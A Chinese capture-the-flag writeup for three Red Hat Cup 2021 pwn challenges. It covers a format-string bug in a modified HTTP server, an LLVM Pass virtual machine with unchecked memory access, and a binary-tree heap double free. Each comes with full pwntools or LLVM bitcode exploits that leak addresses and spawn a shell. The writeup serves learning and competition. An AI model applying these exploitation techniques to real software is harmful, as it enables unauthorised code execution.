天天看點

[紅帽杯 2021] PWN - Writeup

題目很有意思,學到很多

parser

這題是一個魔改的httpd,Content-Length小于0時存在格式化串漏洞,leak後寫one_gadget即可

from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12435)
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

req_base = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1

aaaaa'''

req_leak = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1

||%8$p||%15$p||%213$p||
'''

def send_req(request):
    p.sendafter(b"> ", request)

def exp():
    # leak stack libc image_base
    send_req(req_leak)
    p.recvuntil(b"||")
    stack_leak = int(p.recvuntil(b"||", drop = True), 16)
    image_leak = int(p.recvuntil(b"||", drop = True), 16)
    libc_leak = int(p.recvuntil(b"||", drop = True), 16)
    libc_base = libc_leak - 0x21b97
    image_base = image_leak - 0x14a8
    one_gadget = libc_base + 0x4f3c2
    system = libc_base + libc.symbols[b"execve"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    pop_rdi_ret = image_base + 0x16a3
    pop_rsi_ret = libc_base + 0x23e8a
    pop_rdx_ret = libc_base + 0x1b96
    print("stack_leak:", hex(stack_leak))
    print("image_leak:", hex(image_leak))
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("image_base:", hex(image_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))

    # attack_ret_addr

    main_ret = 0x5a8 + stack_leak
    print("main_ret:", hex(main_ret))

    for i in range(6):
        payload = req_base.encode()
        payload += ("%{}c".format(((libc_base+0x10a45c >> (8*i) ) & 0xff) -5).encode() + b"%27$hhn").ljust(32, b"A")
        payload += p64(main_ret+i)
        print(len(payload))
        send_req(payload)

    # trigger main_ret->one_gadget
    send_req("11111")

    # ./getflag
    p.interactive()

if __name__ == "__main__":
    exp()           

複制

simpleVM

這裡的漏洞出在LLVM Pass,LLVM核心庫提供了一些"Pass"類讓開發者可以去繼承然後實作想要的功能。主要的作用就是把編譯過程中間的IR喂給自定義的Pass進而進行一些針對性的、機器無關的優化。這題的Pass實作了一個由

push pop store load add min

組成的虛拟機,由于沒有邊界限制,且主程式沒開PIE保護,是以很容易進行任意位址讀寫。

README.txt

Hack LLVM!

Docker Guidance:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    apt-get update && apt-get -y dist-upgrade && \
    apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python

once your exp.bc(bitcode file) is uploaded

Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`           

複制

exp.c

void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);

void o0o0o0o0(){
    add(1, 0x77e100);
    load(1);
    add(2, 0x72a9c);
    store(1);
}           

複制

exp.bc

; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define void @o0o0o0o0() #0 {
  call void @add(i32 1, i32 7856384)
  call void @load(i32 1)
  call void @add(i32 2, i32 469660)
  call void @store(i32 1)
  ret void
}

declare void @add(i32, i32) #1

declare void @load(i32) #1

declare void @store(i32) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}           

複制

manager

用二叉樹管理記憶體的堆題,特定條件下删根節點會double free。

僞代碼看的我血壓升高,直接調确定一種情況比如根節點有左右節點,且右節點有兩個葉子。這樣free掉根節點時會出現

loop chain

。慢慢利用就行。

exp

from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12243)
libc = ELF("./libc-2.27.so")
context.arch = "amd64"
context.log_level = "debug"

# header: 0x555555554000+0x202018

def add(key:int, length:int, content):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"key> ", str(key).encode())
    p.sendlineafter(b"len> ", str(length).encode())
    p.sendafter(b"content> ", content)

def delete(key:int):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"key> ", str(key).encode())

def show():
    p.sendlineafter(b"> ", b"3")

def exp():
    # leak libc
    add(1, 0x420, b"unsorted")
    add(2, 0x420, b"unsorted2")
    delete(1)
    delete(2)
    add(5, 0x10, b"5"*8)
    show()
    p.recvuntil(b"55555555")
    libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ec090
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    # build double free
    add(7, 0x10, b"7"*8)
    add(6, 0x10, b"6"*8)
    add(4, 0x10, b"4"*8)
    add(8, 0x10, b"8"*8)
    delete(8)

    delete(5)
    add(10, 0x10, p64(free_hook))
    add(11, 0x10, b"/bin/sh\x00")
    add(12, 0x10, p64(system))
    print("free_hook:", hex(free_hook))

    delete(11)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()           

複制